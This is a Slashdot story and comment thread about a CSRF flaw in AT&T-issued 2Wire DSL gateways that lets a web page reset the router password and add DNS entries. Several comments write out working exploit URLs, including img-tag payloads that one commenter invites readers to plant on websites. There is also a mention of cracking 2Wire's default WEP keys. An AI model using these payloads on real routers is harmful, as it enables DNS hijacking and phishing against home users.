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AT&T, 2Wire Ignoring Active Security Exploit [Updated] 134

Posted by kdawson from the complicit-in-the-attacks dept.
An anonymous reader writes "2Wire manufactures DSL modems and routers for AT&T and other major carriers. Their devices suffer from a DNS redirection vulnerability that can be used as part of a variety of attacks, including phishing, identity theft, and denial of service. This exploit was publicly reported more than eight months ago and applies to nearly all 2Wire firmware revisions. The exploit itself is trivial to implement, requiring the attacker only to embed a specially crafted URL into a Web site or email. User interaction is not required, as the URL may be embedded as an image that loads automatically with the requested content. The 2Wire exploit bypasses any password set on the modem/router and is being actively exploited in the wild. AT&T has been deploying 2Wire DSL modems and router/gateways for years, so there exists a large vulnerable installed base. So far, AT&T/2Wire haven't done anything about this exploit." Update: 04/09 17:48 GMT by KD : AT&T spokesman Seth Bloom sends word that AT&T has not been ignoring the problem. According to Bloom: "The majority of our customers did not have gateways affected by this vulnerability. For those that did, as soon as we became aware of the issue, we expeditiously implemented a permanent solution to close the vulnerability. In fact, we've already updated the majority of affected 2Wire gateways, and we're nearing completion of the process. We've received no reports of any significant threats targeting our customers."
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AT&T, 2Wire Ignoring Active Security Exploit [Updated] More

AT&T, 2Wire Ignoring Active Security Exploit [Updated]

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  • ... I still have my old Speedstream 5100b. :)

    • Re: (Score:2, Funny)

      by JeanBaptiste ( 537955 )
      my Hayes 300 laughs at you.

    • Re: (Score:3, Interesting)

      by value_added ( 719364 )
      I still have my old Speedstream 5100b. :)

      I'm not sure I get the joke, but if it's funny, it might be even funnier that, IIRC, I have a model with a lower number. With the exception that it doesn't reset/resync after a power failure, I guess it works likes it's supposed to.

      On the other hand, I am concerned that should the little bugger fail, I'll have to purchase a newer model. Which means I'll end up with something with a metric ton of unwanted features.

      I know this isn't Ask Slashdot, but does anyone know

      • Re: (Score:2)

        by bcat24 ( 914105 )
        There was no joke intended, just a bit of gloating that I have a modem that still works perfectly and is secure (as far as I know).
        • My old Alcatel looks like a grey shoe. And just chugs along...

        • Re: (Score:2)

          by hurfy ( 735314 )
          lol, me and my 10 year-old cisco 675 are impressed ;)

          Sigh

          A URL should be an address, a picture should be a picture, and a song should be a song and none of the above should be DOING anything :(

          • lol, me and my 10 year-old cisco 675 are impressed ;)

            Sigh

            A URL should be an address, a picture should be a picture, and a song should be a song and none of the above should be DOING anything :(
            I bricked my 675 with a firmware update so I'm stuck with the 678.
            • Did you try flashing it back?! Bricked is such an overly used term. people give up too easily! Bricking should be followed up by some sort of qualifier, indicating the depths to which you've sunk to try to breath new life into the device. PLEASE don't sell us short!

              • Did you try flashing it back?! Bricked is such an overly used term. people give up too easily! Bricking should be followed up by some sort of qualifier, indicating the depths to which you've sunk to try to breath new life into the device. PLEASE don't sell us short!
                It stopped responding completely. Power cycles, animal sacrifices, etc. and had a reddish glow from inside the unit. It was confirmed dead by Qwest and Netcraft and Qwest sent me a new unit.

      • Re: (Score:1)

        by Zencyde ( 850968 )
        My friend needed a modem for his DSL connection after his 2Wire stopped working appropriately. Big surprise there. We picked one up for 50 bucks from Best Buy. It was tied to AT&T, though. Siemens makes some decent modems that are just modems. I personally use a WRT54G for my routing needs. I'm thinking of throwing OpenWRT onto it. I wish I had the L series, though. Those are built to throw different firmwares on.

        • Re: (Score:2)

          by mzs ( 595629 )
          I second the Siemens modem and WRT54G AP. My subscription to AT&T came with a Siemens modem. It had really bad firmware on it. It would drop the connection all the time needing a reset. I flashed it with the newest firmware from Siemens and it has been rock solid since.

          I got the WRT54G before there was an L edition. I have been running HypreWRT thiobor on it, but that project seems to have disappeared so I may need to go to OpenWRT at some point.

          My folks have a 2Wire, I'll have to be on the look-out for

          • Re: (Score:1)

            by Zencyde ( 850968 )
            I probably should have cleared this up. We got the modem about 6 months ago. I think they'd be more willing to ship single modems as they cost the company less, in the end. Of course, it's strictly by request. Most people love their wireless these days... causes a lot of issues in crowded areas, though. From my friend's old apartment I picked up over 10 different connections at any given time.

      • Re: (Score:3, Interesting)

        by houstonbofh ( 602064 )
        I got a brand new speedstream 4100 with my AT&T DSL connection 8 months ago. I just had to say at least 6 times, "Yes I really do want just a modem. No I do not want a 2wire. Yes I know what I am saying. Yes I know it is free with the rebate. No I still don't want it." I also had to lie and say I was using Windows just to get my DLS turned on. I guess it like for me to talk dirty...

    • Re: (Score:2, Funny)

      by macslas'hole ( 1173441 )
      I use a Speedstream 5100 too but no bloody a b or c.
  • anyone know if this affects the 2wire 2700 gateways?

    • Re:Sasktel customers (Score:5, Informative)

      by bcat24 ( 914105 ) on Tuesday April 08, 2008 @05:01PM (#23005330) Homepage Journal
      From TFA [securityfocus.com]:

      Vulnerable:
      2Wire 2071 Gateway 5.29.51
      2Wire 2071 Gateway 3.17.5
      2Wire 2071 Gateway 3.7.1
      2Wire 1800HW 5.29.51
      2Wire 1800HW 3.17.5
      2Wire 1800HW 3.7.1
      2Wire 1701HG 5.29.51
      2Wire 1701HG 3.17.5
      2Wire 1701HG 3.7.1

      • Re:Sasktel customers (Score:5, Informative)

        by compro01 ( 777531 ) on Tuesday April 08, 2008 @05:05PM (#23005378)
        yeah, but DSLreports is reporting [dslreports.com] that the 2700s and 2701s are vulnerable, so i'm not sure which is correct

        • Re: (Score:2)

          by bcat24 ( 914105 )
          Oops, my mistake.

        • Re: (Score:2)

          by moxley ( 895517 )
          I would trust dslreports (aka broadbandreports) over just about any other site.

          I've always found that site to be invaluable when dealing with any and all broadband issues; free tools to test your connection speed and security, as well as finding information about everthing from regulatory politics, technical support, etc to comparing how well your service performs compared to the guy who lives in the next city over.

          They also have some very informative forums as a lot of people who work on the technical fron
      • My SaskTel router's firmware version is 5.29.111.5. Looks a bit more recent.

  • Anybody have any ideas... (Score:3, Funny)

    by Thelasko ( 1196535 ) on Tuesday April 08, 2008 @05:00PM (#23005306) Journal
    on how to walk my mom through changing her IP scheme and modify the hosts file? Do I have to go over there?

    • Re: (Score:3, Funny)

      by Anonymous Coward
      Nah, I already got that for her.

    • Re:Anybody have any ideas... (Score:5, Funny)

      by trongey ( 21550 ) on Tuesday April 08, 2008 @05:24PM (#23005596) Homepage

      ...how to walk my mom through changing her IP scheme and modify the hosts file? Do I have to go over there?
      Oh, come on. Don't be so lazy. It won't kill you to walk up the stairs and across the living room.

      • Re: (Score:3, Insightful)

        by Anti_Climax ( 447121 )
        Most of them have wireless, provided he's getting good coverage in the basement he could do it from there.
        • The wireless on mine sucks horribly. I tried it for about a day but gave up on it and hooked my old linksys back up.
          • If you have an HG model, the wireless has a power setting in the user interface. I know from personal experience that it's powerful enough on full power to make my Centrino radio shut down if I set my laptop within 6 feet of my gateway.

            Looking inside mine, they have 3 loop antennas, and it seems to have the best coverage from the "front" of the gateway.

            And a friend of mine had a linksys adapter that had a jacked up non-standard 802.11g implementation and it only connects to a 2wire when it's set to b only m
    • WinVNC [realvnc.com]
  • that sucks... Wow, i believe this is the ONLY thing that makes me be glad that i am a comcast customer.

  • Funny Post (Score:3, Funny)

    by Anonymous Coward on Tuesday April 08, 2008 @05:01PM (#23005322)
    Me Chinese
    Exploit SOCKS,
    Me put malware
    On your box!

    • Re:Funny Post (Score:5, Informative)

      by bcat24 ( 914105 ) on Tuesday April 08, 2008 @05:04PM (#23005374) Homepage Journal
      That would be slightly funnier if the exploit actually involved SOCKS. In reality, it looks like a simple CSRF [wikipedia.org] attack. (Is it just me, or are we seeing a lot more of those lately?)

      • Re: (Score:2, Insightful)

        by rhizome ( 115711 )
        Fine, replace the line with "CSRF rocks" (pronouncing the acronym as "sea surf").

  • OK, now we all know (Score:2, Interesting)

    by hyades1 ( 1149581 )

    What's these bastards' excuse for standing around with their thumb up their bum for eight months while people get their lives turned inside out?

    I smell lawsuits. Many, many lawsuits.

    • Re: (Score:3, Insightful)

      by eonlabs ( 921625 )
      Easy, if they think it's no skin off their back for not updating their hardware, they think they can save money by not doing it. If they have 10,000 customers and it's $100 to replace one of their old modems, then it's a million bucks to swap them all out. If they don't think there's a risk of being held responsible for more than that for not changing their hardware, where is the incentive.

      Hell, the security flaws typically affect the customer. Will that stop most people's internet addictions?

      Here's anot
      • Of course, they can just push the firmware over their systems. They can flag a particular update across modems in a given category, and deem it as mandatory.

        There's always the possibility that it might brick the modem... But it's not a 100% chance. It's not even a good chance. Also - those modems do not cost 100 bucks, even after you include tech support man hours and shipping costs...

        I can't see the post you're replying to, so I can only guess that the firmware exploit is what you're referring to, but they

  • Exploit doesn't seem to work on my 2700HG-B (Score:5, Informative)

    by Anonymous Coward on Tuesday April 08, 2008 @05:15PM (#23005488)
    I tried their example for adding example.com to DNS (here as not a live link; copy it paste it yourself at your own risk):

    http://192.168.1.254/xslt?PAGE=J38_SET&THISPAGE=J38&NEXTPAGE=J38_SET&NAME=www.example.com&ADDR=127.0.0.1
    and all it did was leave me at the "enter system password" page. Yes, my router has a non-default system password. The system software release is 4.25.19.

    • Re: (Score:1, Informative)

      by Anonymous Coward
      A couple users at DSLreports indicated hat the hack is able to change the password on 4.25.19 firmware: http://www.dslreports.com/forum/r19987755-2Wire-Cross-Site-Request-Forgery-Vulnerability [dslreports.com]

      Perhaps the hacker could change the password, then follow it up with a DNS entry.

    • Re:Exploit doesn't seem to work on my 2700HG-B (Score:5, Informative)

      by skis ( 920891 ) on Tuesday April 08, 2008 @05:53PM (#23005912)
      This exploit is CSRF (Cross-site request forgery). This means that you have to have an active authenticated session to your router in your browser. When you click the link and your browser is already authenticated, it will send your session cookie along with the HTTP request, and the web server in your router will know you are already authenticated, and execute the command you gave it.

      Try logging in to your router, open a new tab, and click on that link again and see if it works.

      • Re: (Score:3, Interesting)

        by Clueless Moron ( 548336 )

        I'm sure that if I was already logged into my router, that link would work, because I know the 2wire uses cookie based authentication.

        But why on earth would I be logged into it??? Its status pages do not require a login, so the only reason to log in would be to change something, which happens maybe once a year. And the session times out after a few minutes.

        TFS (The Fine Summary) says "the 2Wire exploit bypasses any password set on the modem/router" which is blatantly false: apparently it works only

        • Re: (Score:3, Informative)

          by Clueless Moron ( 548336 )

          (replying to myself...)

          apparently it works only if you happen to have logged into an admin page on the router within the past few minutes, which is remarkably unlikely.

          Ok, I see the problem now: although just about every setup page imaginable on the router uses a session cookie to make sure you have logged in, the "set initial router password" page does not, and does not care if an initial password has already been set (stupid!).

          So the 'sploit is to first invoke the "set initial router password"

    • Thanks so much for that URL.

      If you want to join into the phun, put the following onto your website (or onto somebody else's website, if he happens to still use IIS):

      <img src="http://192.168.1.254/xslt?PAGE=H04_POST&amp;PASSWORD=admin&amp;PASSWORD_CONF=admin" width="1" height="1" alt="haha"/>
      <img src="http://192.168.1.254/xslt?PAGE=J38_SET&amp;THISPAGE=J38&amp;NEXTPAGE=J38_SET&amp;NAME=google.com&amp;ADDR=158.64.72.228" width="1" height="1" alt="haha"/>
      <img src="

    • Funny, I seem immune but only because my router's default config ip address is different. Still pops up the DNS entry form with example.com filled in if I put in the right ip address, rather scary.
  • ... wont be much surprised if most of the Kraken [slashdot.org] botnet (or other so widespread malware) are mostly behind 2Wire routers.

  • I'm not suprised, given my experience with 2wire (Score:4, Interesting)

    by krovisser ( 1056294 ) * on Tuesday April 08, 2008 @05:29PM (#23005640)

    One of the worst routers I have ever had. Besides resetting itself arbitrarily, it would forget it's own settings and revert to the default, or half of the settings would revert to the default and the other half.... ? Also, right before I threw it out my window, it forgot it was a wireless router completely. I mean, it reset itself one last time and quit broadcasting completely. Even the setup pages lost the wireless part. I could manually enter in the wireless setup URL, and it would show one with random values in each field.

    I'm just waiting for a nice cooler day to take it to the shooting range. The manual traps and some shotgun pellets might make up for all my anguish.

    • I have to deal with a 2700 for one of remote locations (or have to deal with it until next month, when we get a useful router/modem). What a piece of shit. The software is so bunged up that I can't even get rid of customized open app ports. What a horrendous piece of shit. Who designs these things? They should be taken out and have their brains removed, though it's likely they wouldn't notice, with firmware as faulty as that which they put in their routers.
      • They gave me one for my house. I ended up replacing it with an old SpeedStream I had and a TrendNet router. The 2700's radio is terrible.
    • i've worked with these things (their 2700 gateways). they're great modems (though really really sensitive to surges), but these guys do not know how to design the router side. go above a couple hundred connections, and it crashes it (hitting "refresh all" in the CS server browser will do this almost every time). try to transfer files between wired and wireless (or vise versa) and it slows to a crawl. best idea is put the damn thing in bridge mode and get a real router.

      • i've worked with these things (their 2700 gateways). they're great modems (though really really sensitive to surges), but these guys do not know how to design the router side. go above a couple hundred connections, and it crashes it (hitting "refresh all" in the CS server browser will do this almost every time). try to transfer files between wired and wireless (or vise versa) and it slows to a crawl. best idea is put the damn thing in bridge mode and get a real router.

        I've got a 2701, and the thing just falls completely apart whenever I use BitTorrent. I thought it was issues with the terrible connection which I have (12-9 dB SNR), so I called a tech out to fix it (improving it to 15-12 db), but that didn't do much.

        I've often suspected the router itself due to the fact that this never happens when I'm maxing out my internet connection with only a couple of transactions, but that settles it. I'm getting a new router.

        • I've got a 2701, and the thing just falls completely apart whenever I use BitTorrent.

          That is a feature to keep bittorrent traffic manageable. :) (However, this may not really be a joke.)
        • alternatively, a temporarily solution that's been found is to cap the simultaneous connections limit in your bittorrent client below 100. this problem is well known at sasktel, which is why they started putting the things in bridge mode for all the extreme (highest tier) installs.

          the problem is the NAT software basically eating all the memory and it effectively kernel panics, with sometimes interesting results. i saw one instance where doing that would cause it to temporarily toss the bandwidth limiter an

      • Re: (Score:2)

        by MROD ( 101561 )
        Well, the 2700 series at least run a version of BSD Unix. The firewall/router is ipf, a well used packet filter.

        What they have added is there own DNS server, which is a bit rubbish.

        In defence of 2Wire, the grandparent's problems sound like a hardware problem to me. The flash memory seems to have been dying.

        The one thing about the 2700 series is that they *WILL* get you about a 1Mb/s increase in ADSL connection speed over other modems and with long lines this can make a real difference.
    • Yeah, total garbage. The wireless on mine is basically useless. When I could get a connection it I got maybe 5% of the bandwidth I was supposed to have, and this is from about 5 feet from the base station.

      Also the routing is screwy, it won't route my external IP address from inside the network so I can't use my domain name to log into my server when I'm home. What a joke.
    • Is it possible that this was only the case because you had someone smart enough to hack your router being a wireless router, and not a wired one, and then once in would know the reset commands???

  • Bridge Mode (Score:5, Insightful)

    by John Hasler ( 414242 ) on Tuesday April 08, 2008 @05:31PM (#23005670) Homepage
    Never trust these combination modem/router/firewalls. Put the thing in bridge mode and run a real router behind it (such as an old pc running Debian or OpenBSD or even an old Cisco).
    • yeah, i've got an old redhat 7.3 firewall running on a Pentium 266 with 128MB ram that works great

    • Re: (Score:2)

      by jtn ( 6204 )
      Difficult when you CANNOT due to limitations of your provider. Anyone who has AT&T's U-verse product *must* run the 2WIRE box in router mode. There is no other choice.

      • Difficult when you CANNOT due to limitations of your provider. Anyone who has AT&T's U-verse product *must* run the 2WIRE box in router mode. There is no other choice.

        Sure there's another choice. You can always attach another router to it which does DNS recursion (not forwarding). Or do the DNS recursion on your computer with BIND 9 or other software.

        • Re: (Score:3, Funny)

          by roju ( 193642 )
          Perhaps if we're worried about security issues, administrating a local copy of BIND isn't the greatest plan [nist.gov].
          • I'd say BIND is better than the stuff built into these cheapie routers. At least I can update it myself.

          • None of the items on that page are BIND, and half of them are Microsoft products. Use the Preview Button! Check those URLs!

            I'd rather take my chances with administering DNS software on my network than risk using a vulnerable router, anyway.

            • Re: (Score:2)

              by roju ( 193642 )
              Yeah I noticed the URL issue just after hitting Submit. Turns out that their search engine uses POST for searching. Very disappointing.

              My concern about running BIND locally is that there will _always_ be another patch, and unless there's somebody dedicated to keeping it patched, it's going to fall behind.
    • Yes because we all know that old Cisco routers are not vulnerable to anything.

    • Re: (Score:1)

      by baomike ( 143457 )
      Exactly. You have control. I have used slack for years to run a dual homed host. Iptables, BIND and SNORT and away you go .
      It takes some set up , and some care in the set up but maintenance is nil.

      I left one ISP somewhat perplexed when he tried to convert me to PPOE. I found an ISP in Portland OR (DSL only)that will provide bridge mode and we linked up.
    • I'm running in bridge mode - I already had a perfectly good (definitely better than 2wire) wireless router but I think even if I didn't already have one, I'd still bridge it & buy a real router. But this is most certainly not for the average joe. I struggled finding good documentation on how to do it and it was still some trial & error. They definitely don't support or encourage this - on the contrary it seemed convoluted & difficult to me.

  • Large install base (Score:2, Interesting)

    by Verteiron ( 224042 )
    I can detect 4 of these routers from inside my house, all using the SSID 2WIRE. There must be tens of thousands of these things out there, the vast majority running the default, unsecured configuration...

    • Re: (Score:2, Insightful)

      by cicatrix1 ( 123440 )
      By default they come with 32 bit WEP, I think. It's technically not "unsecured", but the difference is basically negligible :p

      • Re:Large install base (Score:5, Informative)

        by Erpo ( 237853 ) on Wednesday April 09, 2008 @01:05AM (#23009260)
        By default they come with 32 bit WEP

        You're closer to the truth than you know. They use 64 bit (i.e. 8 byte) WEP by default, which is really 40 bit (i.e. 5 byte) WEP since three of those bytes are the IV and broadcast in the clear. However, 2WIRE has an awful policy of printing the WEP key on the side of the modem in hex format and not using the digits A through F.

        So the default key, written in hex, is a "decimal" number somewhere between 0,000,000,000 and 9,999,999,999. That's only 10 billion possibilities, or about 33.2 bits of entropy. Your computer can crack through that in a day or two with only three or four captured packets.

        When I discovered this (and, of course, got stonewalled by 2WIRE), I wrote a patch for aircrack (now aircrack-ng) that programs it to search only the binary coded decimal keyspace. I named this option -t in honor of "Two Wire" for their terrible security.
    • must be a local thing, as all the 2wire's sasktel uses (the 2700 gateways) come defaulted with WEP. used to be WPA, but too many people complained about it not working with stupid hardware (usually nintendo DS) not working with it.
    • Haha, yeah there's about 10 of those 2wireXXXX from my place too. Most of them are WPA, which is surprising.

  • from the DSL reports forums (Score:5, Informative)

    by Some_Llama ( 763766 ) on Tuesday April 08, 2008 @05:42PM (#23005790) Homepage Journal
    You can implement a temporary fix yourself. The first post in the following thread describes how to protect yourself until 2wire fixes the issue 2Wire Cross Site Request Forgery Vulnerability .

    Here is a short summary:

    First, change the IP scheme that the 2wire is using for your home network. Specifically, change the IP address of the 2wire router itself. This will prevent attacks against 192.168.1.254.

    Next you have to prevent attacks against the domains "home" and "gateway.2wire.net". You can do this a couple of ways. You can modify your hosts file and point those domains to 127.0.0.1... or you can hardcode the dns settings into your computer so that your computer is not using the 2wire to resolve domain names.

    Of course the bottom line is 2wire needs to plug this hole. When will that happen? Who knows.

    • Re: (Score:1)

      by nawcom ( 941663 )
      awww. don't be such a llama. we want the shell script that automates the attack, not a solution to fix the problem. silly alpaca...this is slashdot. erm. :-P

    • Re: (Score:2)

      by fermion ( 181285 )
      Suppose one has never trusted the equipment that came from the telco, and have never connected anything but a single firewall/router to the telco DSL box. Does the vulnerability still matter? I assume that the telco is giving us the cheapest crap it can, and should not be trusted beyond the limits of liability to the telco.
      • from readint eh exploit you would have to visit a malicious website that sends an link that your browsers processes, the link is actually the default address of the 2wire device (198.162.1.254, OR default domain of "home" or "gateway.2wire.net") in this "url" is the command to reset the password or any other configuration change.

        So what would happen in worse case to a default router is it could have it's configuration changed.. whether it matters to you is dependant on how much access you give that router t

      • have never connected anything but a single firewall/router to the telco DSL box. Does the vulnerability still matter?

        sounds like it. Apparently only if you changed the default ip address of the 2 wire box, or had a reason to not use the DNS cache from within it, would this have helped deflect this vulnerability. (after all, NAT still lets you "out" to the router, where the vulnerability is.)

        Although it appears firefox with script block would have stopped this.

  • 2Wire routers also very weak on WEP (Score:5, Interesting)

    by Jeffrey Baker ( 6191 ) on Tuesday April 08, 2008 @06:04PM (#23006032)
    2Wire access points also come hard-coded for 56-bit WEP, which can be cracked in seconds. I have a list of hundreds of WEP keys I got just from riding my bicycle around San Francisco with a laptop chugging away in my backpack. These are by far the worst access points ever deployed, and they are, sadly, also the most widely deployed in the USA.

    • Re: (Score:3, Informative)

      by compro01 ( 777531 )
      hmm. the 2wire boxes i see (2700s) are default WEP, but have the option for WPA and WPA2.
    • It doesn't help that the default code will always contain 0-9 for possible keys, either.

      From a user perspective, I can't blame them. You wouldn't want to be on the phone with someone who thinks their wireless "DHL" modem doesn't need power because it's wireless, and try figuring out what those tiny letters are ...

      I think it would have been a lot more secure if they had used phrases that added up to 26 characters instead. But really, not many manufacturers have the balls to support secure wep by default ...

    • Re: (Score:2)

      by MROD ( 101561 )
      The security aspect for wireless and all the other parts of the system are determined not by 2Wire but by the OEMs who are specifying the firmware.

      2Wire don't sell retail, they only sell to ISPs and produce custom firmware for them (which, in some cases can tie the modem to the ISP).

    • Re: (Score:1)

      by taskiss ( 94652 )
      "hard-coded"?

      You just lost credibility. Instead of riding around on a bike running scripts you ripped off the internet and feeling all 1337 and shit, you should read more about how to program.

      A "hard-coded" configurable parameter.. heh, you one funny script kiddie!

    • 2Wire access points also come hard-coded for 56-bit WEP
      No, they don't come hard-coded. Rather, they come pre-configured with WEP security enabled. That's an improvement over no security, which is the way most routers are sold. They are also configurable to use WPA and WPA2.
  • There won't be any repercussions for them. the customer will get screwed, why would they care?
  • I'm not a legal eagle by any means but if someone out there has the knowledge or connections, can you shed some light on liability?
    I mean, if it is that AT&T has deployed customer equipment with known exploits, I would think the user would be limited in their liability - or so it seems to a rational mind. Not only is this bad news for consumers as a whole but it is just as bad - if not worse - for businesses such as the small businesses that use these modems/routers.
  • These devices also suffer from another exploit -- the one where technicians come in and leave the WiFi completely open and not tell the customer or, worse, tell them they're "protected" because it's "firewalled."

    I've seen this with my own eyes dozens of times. :-(
  • The correct device type is router [wikipedia.org], as modems [wikipedia.org] are just dumb devices with no DNS feature at all.
    The fact that a box attaches to a PC for Internet access doesn't imply it is a modem.
  • I have a 2Wire 2700HG-E from Telus. I assume this would have the same vulnerability?

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